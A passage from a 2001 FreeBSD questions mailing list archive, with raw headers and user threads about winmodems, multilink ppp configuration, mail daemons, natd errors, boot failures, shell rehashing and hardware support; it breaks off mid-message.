> -giorgos >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 8:42:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f77.law10.hotmail.com [64.4.15.77]) by hub.freebsd.org (Postfix) with ESMTP id 0C19437B405 for ; Sun, 18 Nov 2001 08:42:34 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 18 Nov 2001 08:42:30 -0800 Received: from 63.204.108.22 by lw10fd.law10.hotmail.msn.com with HTTP; Sun, 18 Nov 2001 16:42:30 GMT X-Originating-IP: [63.204.108.22] From: "Peter Nvarda" To: matthew@starbreaker.net Cc: freebsd-questions@freebsd.org Subject: Re: internal pci modem Date: Sun, 18 Nov 2001 16:42:30 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 18 Nov 2001 16:42:30.0695 (UTC) FILETIME=[03D32B70:01C17050] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, It is an FB PCTEL AMR from CyberSolutions Corp. Does that work? Peter >From: Matthew Graybosch >Reply-To: matthew@starbreaker.net >To: "Peter Nvarda" >CC: freebsd-questions@freebsd.org >Subject: Re: internal pci modem >Date: Sat, 17 Nov 2001 21:41:08 -0500 > >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >On Saturday 17 November 2001 21:29, you wrote: > > Hello, > > I have freebsd 4.3 and an internal pci modem. When I run pnpinfo, > > I do not find the modem at all. > > In dmesg, the closest thing I could see to the modem being > > recognized is this: > > > > at device 1.1 on pci0 > >You probably have a Winmodem, which can only be used in Windows >since it depends on a software driver to implement the functions >native to a modem with a hardware controller. What brand is your >modem? >- -- >Matthew Graybosch >http://www.starbreaker.net >GnuPG Key ID: 0x7D488659 >"Sex, Unix, and rock 'n roll" >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.6 (FreeBSD) >Comment: For info see http://www.gnupg.org > >iD8DBQE79x/EcCiK1X1IhlkRAhQOAKCfJI7qfXITzYoBKdWNdJWf1Cme4ACePg0j >F+XncreNG1GhAma2BPSNh4k= >=+cq5 >-----END PGP SIGNATURE----- _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 8:57:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bltclan.com (ns1.bltclan.com [66.127.229.59]) by hub.freebsd.org (Postfix) with SMTP id 1849537B405 for ; Sun, 18 Nov 2001 08:57:52 -0800 (PST) Received: (qmail 27030 invoked from network); 18 Nov 2001 17:04:09 -0000 Received: from shaklee3.bltclan.com (HELO cliff) (66.127.229.58) by ns1.bltclan.com with SMTP; 18 Nov 2001 17:04:09 -0000 Message-ID: <001e01c17054$50fc4b80$3ae57f42@cliff> From: To: "pingcrisis.com\\Ting Ping\\" , "FreeBSD" References: <001901c17042$398b7dc0$b0429cca@pavilion> Subject: Re: How to mirror site in freebsd Date: Sun, 18 Nov 2001 09:13:18 -0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001B_01C17011.42D477A0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C17011.42D477A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable what program are you using? ----- Original Message -----=20 From: pingcrisis.com\Ting Ping\=20 To: freebsd-questions@FreeBSD.ORG=20 Sent: Sunday, November 18, 2001 7:03 AM Subject: How to mirror site in freebsd hello, i have got this problem when trying to mirror some sites. The links in = the page doesnt seem to work with my freebsd environment. For example, index.html contains this link called "links" but when i = try to access it through my browser, it doesnt work as it points to a = wrong directory/file. May i know, is there any way i could solve this problem? QOTD: Knowledge is power, United we stand, divided we fall Best regard, Lim Ting Ping http://www.pingcrisis.com ------=_NextPart_000_001B_01C17011.42D477A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
what program are you = using?
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hello,
i have got this problem when trying to mirror some = sites.=20 The links in the page doesnt seem to work with my freebsd=20 environment.
 
For example, index.html contains this link called = "links"=20 but when i try to access it through my browser, it doesnt work as it = points to=20 a wrong directory/file.
 
May i know, is there any way i could solve this=20 problem?
 
QOTD: Knowledge is power, United we stand, divided = we=20 fall
Best regard,
Lim Ting Ping
http://www.pingcrisis.com ------=_NextPart_000_001B_01C17011.42D477A0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 9:13:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp3.mx.pitdc1.stargate.net (smtp3.mx.pitdc1.stargate.net [206.210.69.143]) by hub.freebsd.org (Postfix) with SMTP id 1DD5737B405 for ; Sun, 18 Nov 2001 09:13:00 -0800 (PST) Received: (qmail 2532 invoked from network); 18 Nov 2001 17:12:48 -0000 Received: from unknown (HELO wastegate.net) (209.166.135.42) by smtp3.mx.pitdc1.stargate.net with SMTP; 18 Nov 2001 17:12:48 -0000 Received: (qmail 7608 invoked from network); 18 Nov 2001 17:12:49 -0000 Received: from unknown (HELO mother) (192.168.1.2) by 192.168.1.1 with SMTP; 18 Nov 2001 17:12:49 -0000 From: "Doug Reynolds" To: "freebsd-questions" Date: Sun, 18 Nov 2001 12:12:40 -0500 Reply-To: "Doug Reynolds" X-Mailer: PMMail 98 Professional (2.01.1600) For Windows NT (5.0.2195;2) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: problems with multilink ppp Message-Id: <20011118171300.1DD5737B405@hub.freebsd.org> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Gentlemen: i have been having a problem with multilink ppp ever since i've starting using it.. I am running two USR sportster 56k modems. basically what happens is my provider kicks me offline every 12hrs. i'm running userppp from the rc.conf (ie "/usr/sbin/ppp -quiet -ddial -nat etcetc"). i also have pppctl setup. when my provider kicks me off, my machine goes to reconnect. generally every other time or everytime depending, my modems will keep dialing connecting negotiating and then hanging up, and keep repeating this over again and again, at least until I intervene. when I run pppctl, then prompt will say "PPP>" indicating that i have a full working connection, even though the off hook and CD lights on both modem are off. it says that way even when dialing. the only way it will stop is when i type "close", leave the modems recycle, and then type "open", and then all is well.. the logs dont really say anything except "carrier lost" or something to that effect. I am not sure if this is a configuration problem, or a bug in the multilink code.. here is my ppp.conf. i can post a set of logs if needed. default: # ident user-ppp VERSION (built COMPILATIONDATE) # Ensure that "device" references the correct serial port # for your modem. (cuaa0 = COM1, cuaa1 = COM2) set device /dev/cuaa0 /dev/cuaa1 set log Phase Chat LCP IPCP CCP tun command set speed 115200 disable lqr deny lqr set server /var/tmp/internet xxxxxxx 0177 sgi: set phone xxxxxxxxx set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATZ OK AT&F1S11=60M0 OK \\dATDT\\T TIMEOUT 60 CONNECT" set reconnect 40 40 set authname xxxxxxxxxx set authkey xxxxxxxxxx set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 set mrru 1500 clone 1,2 link 1 set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATZ OK AT&F1S11=60M0 OK \\dATDT\\T TIMEOUT 60 CONNECT" link 2 set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATZ OK AT&F1S11=60M0 OK \\dATDT\\T TIMEOUT 60 CONNECT" link deflink remove link * set mode ddial add default HISADDR nat port tcp 192.168.1.2:6699 6699 nat port udp 192.168.1.2:6257 6257 set filter in 0 deny tcp src eq 137 set filter out 0 deny tcp src eq 137 set filter in 1 deny tcp dst eq 137 set filter out 1 deny tcp dst eq 137 set filter in 2 deny udp src eq 137 set filter out 2 deny udp src eq 137 set filter in 3 deny udp dst eq 137 set filter out 3 deny udp dst eq 137 set filter in 4 deny tcp src eq 138 set filter out 4 deny tcp src eq 138 set filter in 5 deny tcp dst eq 138 set filter out 5 deny tcp dst eq 138 set filter in 6 deny udp src eq 138 set filter out 6 deny udp src eq 138 set filter in 7 deny udp dst eq 138 set filter out 7 deny udp dst eq 138 set filter in 8 deny tcp src eq 139 set filter out 8 deny tcp src eq 139 set filter in 9 deny tcp dst eq 139 set filter out 9 deny tcp dst eq 139 set filter in 10 deny udp src eq 139 set filter out 10 deny udp src eq 139 set filter in 11 deny udp dst eq 139 set filter out 11 deny udp dst eq 139 set filter in 12 permit 0 0 set filter out 12 permit 0 0 the nat is for winmx, and the filter is for samba. thanx --- doug reynolds | the maverick | mav@wastegate.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 9:29:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blacklamb.mykitchentable.net (ekgr-dsl5-t183.citlink.net [207.173.250.183]) by hub.freebsd.org (Postfix) with ESMTP id C248A37B42B for ; Sun, 18 Nov 2001 09:29:17 -0800 (PST) Received: from bigdaddy (bigdaddy [192.168.1.3]) by blacklamb.mykitchentable.net (Postfix) with SMTP id DCF2EEE5AF for ; Sun, 18 Nov 2001 09:30:06 -0800 (PST) Message-ID: <001101c17056$872a01a0$0301a8c0@bigdaddy> From: "Drew Tomlinson" To: Subject: Sqwebmail Installed - What Now? Date: Sun, 18 Nov 2001 09:29:07 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have installed sqwebmail from the ports collection and can successfully get the login page but do not know where to go from here. Searches on Google and the list archives have not produced any help. Can anyone point me to documentation on what I need to do to configure sqwebmail? I can't login using my account and am sure I must do some configuring before it works. I am using the Courier IMAP daemon successfully with an MS Outlook Express client. I want to use sqwebmail instead. Thanks, Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 9:40:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f223.pav1.hotmail.com [64.4.31.223]) by hub.freebsd.org (Postfix) with ESMTP id EC04C37B405 for ; Sun, 18 Nov 2001 09:40:34 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 18 Nov 2001 09:40:34 -0800 Received: from 66.75.97.169 by pv1fd.pav1.hotmail.msn.com with HTTP; Sun, 18 Nov 2001 17:40:33 GMT X-Originating-IP: [66.75.97.169] From: "Lee Mark Mercado" To: freebsd-questions@FreeBSD.ORG Subject: qpopper Date: Sun, 18 Nov 2001 09:40:33 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 18 Nov 2001 17:40:34.0840 (UTC) FILETIME=[20898180:01C17058] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG im getting this error on my box when checking my email thru a web-based email POP3 client : Nov 18 09:36:06 server1 qpopper[27145]: (null) at server1.mydomain.com (66.126.195.xxx): -ERR POP EOF or I/O Error Nov 18 09:36:06 server1 qpopper[27145]: I/O error flushing output to client at server1.mydomain.com [66.126.195.xxx]: Operation not permitted (1) ** what could be the problem here ? ** _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 9:50:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (oe61.pav2.hotmail.com [64.4.36.195]) by hub.freebsd.org (Postfix) with ESMTP id 9E5BF37B416 for ; Sun, 18 Nov 2001 09:50:28 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 18 Nov 2001 09:50:28 -0800 X-Originating-IP: [216.254.113.126] From: "Mike Semcheski" To: Subject: natd failed to write packet back Date: Sun, 18 Nov 2001 12:48:21 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Message-ID: X-OriginalArrivalTime: 18 Nov 2001 17:50:28.0538 (UTC) FILETIME=[8268A1A0:01C17059] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi all, From a bit of googling, I can tell that I am not the first one to ask this question, but I have not found the answer either. Basically, the log on chimera, my freebsd box, has this: chimera natd[226]: failed to write packet back (Permission denied) followed by last message repeated x times for x = 100 to 200. Whenever I am on the console, the "last message repeated" message is very prevalent. I can not see any rhyme or reason to it. The BSD box (chimera) is between a DSL modem and a win2k server and a win2k / freebsd laptop. Chimera has two nic's, one public, one private, private one goes directly to a switch, from the switch to the windows boxes. The setups pretty standard, samba and apache run on chimera. **everything is working a-ok, except for the natd message** If its not broke, break it, then fix it is my motto I guess. Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 10: 0:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fe030.worldonline.dk (fe030.worldonline.dk [212.54.64.197]) by hub.freebsd.org (Postfix) with SMTP id 7BEB537B418 for ; Sun, 18 Nov 2001 10:00:09 -0800 (PST) Received: (qmail 9200 invoked by uid 0); 18 Nov 2001 18:00:05 -0000 Received: from 213.237.14.128.adsl.ho.worldonline.dk (HELO denniswork) (213.237.14.128) by fe030.worldonline.dk with SMTP; 18 Nov 2001 18:00:05 -0000 Message-ID: <052601c1705a$d9d1d6e0$0301a8c0@denniswork> From: "Dennis" To: Subject: Computer wont boot after install of BSD 4,4 Date: Sun, 18 Nov 2001 18:59:55 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hiya! After a long strugle with my Netserver LC5 i finally got FreeBSD 4,4 installed on the computer - but after the first reboot then my problems started. The boot menu comes up fine where i can press f1 to start freebsd, the only problem is that the pc speaker just goes *biip* if i press f1 likewies i dos'nt bot automaticly after a few secs like it should. Its a LC5 with onboard aic 7770 scsi controller (the type that needs the 'eisa 12' to work) if that has anything to say? Any hints? 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------=_NextPart_000_0028_01C0B640.479E6920-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 10:57:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fe010.worldonline.dk (fe010.worldonline.dk [212.54.64.195]) by hub.freebsd.org (Postfix) with SMTP id 0706A37B405 for ; Sun, 18 Nov 2001 10:57:11 -0800 (PST) Received: (qmail 26308 invoked by uid 0); 18 Nov 2001 18:57:08 -0000 Received: from 213.237.13.224.adsl.hc.worldonline.dk (HELO lapdancer.dk) (213.237.13.224) by fe010.worldonline.dk with SMTP; 18 Nov 2001 18:57:08 -0000 Subject: Re: make tutorial From: =?ISO-8859-1?Q?S=F8ren?= Neigaard To: Edwin Groothuis Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <20011108081532.D35710@k7.mavetju.org> References: <1005136725.4501.18.camel@lapdancer.dk> <20011108081532.D35710@k7.mavetju.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Mailer: Evolution/0.13 (Preview Release) Date: 18 Nov 2001 19:54:28 +0100 Message-Id: <1006109669.4570.3.camel@lapdancer.dk> Mime-Version: 1.0 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I know this is a rather old question, but now I got some time to dig a little deeper into it. Where can I find info on this configure then? /S=F8ren On Wed, 2001-11-07 at 22:15, Edwin Groothuis wrote: > On Wed, Nov 07, 2001 at 01:38:44PM +0100, S=F8ren Neigaard wrote: > > Sorry about this offtopic subject, but I belive there are some of you > > who knows alot about the subject. > >=20 > > Where can I find a easy "make" tutorial. What I need right now, is a wa= y > > to detect wether the Makefile is run on a Windoze or a Unix box, so I > > can switch between the two. >=20 > Man make reveals the following environment variables: MACHINE and > MACHINE_ARCH. But what you are looking for is a way to create OS > specific Makefiles, which is often done via configure. But euh... > my knowledge of configure and how these files are generated is > pretty close to zero, so I leave that to somebody else to give you > info about that. >=20 > Edwin >=20 > -- > Edwin Groothuis | Personal website: http://www.MavEtJu.org > edwin@mavetju.org | Interested in MUDs? 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Med venlig hilsen/Best regards S=F8ren Neigaard Registered Linux User #239437 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 10:57:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20]) by hub.freebsd.org (Postfix) with ESMTP id 921D137B425 for ; Sun, 18 Nov 2001 10:57:17 -0800 (PST) Received: from [212.238.77.116] (helo=buffy.raggedclown.net) by post.mail.nl.demon.net with esmtp (Exim 3.33 #1) id 165X7z-0000ED-00 for questions@FreeBSD.ORG; Sun, 18 Nov 2001 18:57:15 +0000 Received: by tanya.raggedclown.net (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 2A57210FE; Sun, 18 Nov 2001 19:30:30 +0100 (CET) Date: Sun, 18 Nov 2001 19:30:30 +0100 From: Cliff Sarginson To: questions@FreeBSD.ORG Subject: Re: Is root's search path special? Message-ID: <20011118193030.A1220@raggedclown.net> References: <200111170949.fAH9nic21507@lv.raad.tartu.ee> <029301c16f52$bf8e9b00$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <029301c16f52$bf8e9b00$0a00000a@atkielski.com> User-Agent: Mutt/1.3.22.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG No, it is not so very obvious is it .. lol. The hashing is done to speed up finding the file in question. What is slightly odd is that as far as I know nobody has considered that the shell(s) could optionally revert to normal path seaching if a hashed filepath is not found. -- Regards Cliff On Sat, Nov 17, 2001 at 11:29:25AM +0100, Anthony Atkielski wrote: > Thanks. Such a requirement would not have occurred to me spontaneously. > > ----- Original Message ----- > From: "Toomas Aas" > To: ; ; "Anthony Atkielski" > > Sent: Saturday, November 17, 2001 10:48 > Subject: Re: Is root's search path special? > > > > Hi Anthony! > > > > On 17 Nov 01 at 9:32 you wrote: > > > > > > > What does "rehash" do? The man page is no help. > > > > >From 'man tcsh': > > > > rehash : > > > > Causes the internal hash table of the contents of the directories > > in the path variable to be recomputed. This is needed if new > > commands are added to directories in path while you are logged > > in. This should be necessary only if you add commands to one of > > your own directories, or if a systems programmer changes the > > contents of one of the system directories. Also flushes the > > cache of home directories built by tilde expansion. > > -- > > Toomas Aas | toomas.aas@raad.tartu.ee | http://www.raad.tartu.ee/~toomas/ > > * Coffee -- n., a person who is coughed upon. > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 11:34:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f37.law8.hotmail.com [216.33.241.37]) by hub.freebsd.org (Postfix) with ESMTP id CDFCC37B405 for ; Sun, 18 Nov 2001 11:34:11 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 18 Nov 2001 11:34:11 -0800 Received: from 216.209.246.40 by lw8fd.law8.hotmail.msn.com with HTTP; Sun, 18 Nov 2001 19:34:11 GMT X-Originating-IP: [216.209.246.40] From: "Pierre-Luc Drouin" To: freebsd-questions@FreeBSD.ORG Subject: Plextor Plexwriter 24/10/40A IDE cd burner burncd support Date: Sun, 18 Nov 2001 19:34:11 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Message-ID: X-OriginalArrivalTime: 18 Nov 2001 19:34:11.0797 (UTC) FILETIME=[FFC29850:01C17067] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I would like to know if Plextor Plexwriter 24/10/40A IDE cd burner works in FreeBSD with burncd. I've seen at http://freebsd.dk/ata/ than Plextor CD-R PX-W1610A seems to work, but there's no information about newer drives... Thanks _________________________________________________________________ Téléchargez MSN Explorer gratuitement à l'adresse http://explorer.msn.fr/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 12:26:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mtiwmhc26.worldnet.att.net (mtiwmhc26.worldnet.att.net [204.127.131.51]) by hub.freebsd.org (Postfix) with ESMTP id D33BB37B417; Sun, 18 Nov 2001 12:26:47 -0800 (PST) Received: from columbia ([12.93.210.159]) by mtiwmhc26.worldnet.att.net (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20011118202646.RBXG4964.mtiwmhc26.worldnet.att.net@columbia>; Sun, 18 Nov 2001 20:26:46 +0000 From: "Andrew C. Hornback" To: "Anthony Atkielski" , "Greg Lehey" , "FreeBSD Questions" Subject: RE: Mysterious boot during the night Date: Sun, 18 Nov 2001 15:26:44 -0500 Message-ID: <005201c1706f$572afb80$6600000a@ach.domain> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <03af01c1702e$d38c0520$0a00000a@atkielski.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > -----Original Message----- > From: Anthony Atkielski [mailto:anthony@atkielski.com] > Sent: Sunday, November 18, 2001 7:45 AM > To: Andrew C. Hornback; Greg Lehey; FreeBSD Questions > Subject: Re: Mysterious boot during the night > > Andrew writes: > > > Just to be safe, I'd still seek some kind of > > diagnostic just to make sure. > > That would not be logical. Hardware failures are extremely rare; software > failures are extremely common. It doesn't make sense to spend > time trying to > rule out hardware (which is never actually possible, anyway) when > a software > error is more likely to be the culprit. It's not logical to create a baseline of your system by testing it's components? Hmm... guess I've not been following "logical" practices for years now, and don't think I'm going to stop. > > I'm not 100% sure about this, but I believe that > > if you CVSupped to the newest version, it might > > include the fix. > > I have something that I got somewhere with cvsup; maybe it was > source, or the > latest ports, or something. I don't know exactly what source is > currently on > the machine. > > In general, I do not update an entire operating system in a > shotgun approach to > fixing a problem of unknown origin, as it often causes more > problems than it > solves. You don't need to update the entire operating system if you can procure and install the patch. > > Your best bet, I believe, is going to be to talk > > with sos and see about getting the patch either > > MFC'd to the STABLE branch, or to get a copy of the > > patch yourself and apply it. > > Who is sos? I don't know personally, but from what Greg has mentioned in previous posts, I imagine sos is the person that wrote the patch to make the FreeBSD work properly with the IDE Controller chipset on your motherboard. > How do I know that this patch will fix the problem? You may have to ask... but, from what Greg has said, the patch was written specifically to make your chipset compatable with FreeBSD. --- Andy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 12:34:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fe020.worldonline.dk (fe020.worldonline.dk [212.54.64.196]) by hub.freebsd.org (Postfix) with SMTP id F04A837B405 for ; Sun, 18 Nov 2001 12:34:17 -0800 (PST) Received: (qmail 25040 invoked by uid 0); 18 Nov 2001 20:34:16 -0000 Received: from 213.237.14.128.adsl.ho.worldonline.dk (HELO denniswork) (213.237.14.128) by fe020.worldonline.dk with SMTP; 18 Nov 2001 20:34:16 -0000 Message-ID: <05fb01c17070$62fb29c0$0301a8c0@denniswork> From: "Dennis" To: References: <052601c1705a$d9d1d6e0$0301a8c0@denniswork> Subject: Re: Computer wont boot after install of BSD 4,4 Date: Sun, 18 Nov 2001 21:34:13 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Dennis" To: Sent: Sunday, November 18, 2001 6:59 PM Subject: Computer wont boot after install of BSD 4,4 > Hiya! > After a long strugle with my Netserver LC5 i finally got FreeBSD 4,4 > installed on the computer - but after the first reboot then my problems > started. > The boot menu comes up fine where i can press f1 to start freebsd, the only > problem is that the pc speaker just goes *biip* if i press f1 likewies i > dos'nt bot automaticly after a few secs like it should. > Its a LC5 with onboard aic 7770 scsi controller (the type that needs the > 'eisa 12' to work) if that has anything to say? > Any hints? Okai i have done some digging and talked to some people on irc and get it booed by putting an enty floppt in the drive so i get the bootloadet up , then i type da(0,a) and it boots up and stops in the midle of the hardware probe and thereafter dumps me in a 'mountroot' shell. I have some idea this might be becase it did'nt detect my onboard scsi, in order for that to work i need to type 'eisa 12' just after i pressed a button with the 'booting kernel in 10 secons yadadadad'. But that dos'nt appear anymore?! (the 'booting kernel in yadad' that is) how do i get that back so i can set the 'eisa 12' parameter? Its a totally fresh intallation... Regards Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 12:57:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by hub.freebsd.org (Postfix) with ESMTP id A074337B416 for ; Sun, 18 Nov 2001 12:57:18 -0800 (PST) Received: from josep.demon.co.uk ([194.222.61.233] helo=porthos.ticktock.foo.uk) by finch-post-11.mail.demon.net with esmtp (Exim 2.12 #1) id 165Yzq-000FsN-0B for freebsd-questions@freebsd.org; Sun, 18 Nov 2001 20:57:07 +0000 Received: from athos.ticktock.foo.uk (athos.ticktock.foo.uk [192.168.1.2]) by porthos.ticktock.foo.uk (8.11.6/8.11.6) with ESMTP id fAIKuCs09380 for ; Sun, 18 Nov 2001 20:56:12 GMT (envelope-from tim.spam@spicy.org.uk) Received: from localhost (tim@localhost) by athos.ticktock.foo.uk (8.11.6/8.11.6) with ESMTP id fAIKtXb80416 for ; Sun, 18 Nov 2001 20:56:12 GMT (envelope-from tim.spam@spicy.org.uk) X-Authentication-Warning: athos.ticktock.foo.uk: tim owned process doing -bs Date: Sun, 18 Nov 2001 20:55:33 +0000 (GMT) From: Tim Joseph X-X-Sender: tim@athos.ticktock.foo.uk To: FreeBSD Questions Subject: Laptop challenge... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, Since 4.2 relase, I've been trying to install FreeBSD onto an old laptop I have - Texas Intruments/Acer Extensa 510 (100MHz Pentium, 16MB RAM, approx 800MB HDD, NE2000 compatible PCMCIA network card). During the install process, I always manage to get through happily to the bit where I can configure my HDD - at this point the install program says that it can't find any HDD and bails. I have been able to install and run OpenBSD 2.9 - no problems. No tweaking is needed (dmesg is attached below). What do I need to do get my favourite OS on here? My suspicions lie with the wdc/wd names for the 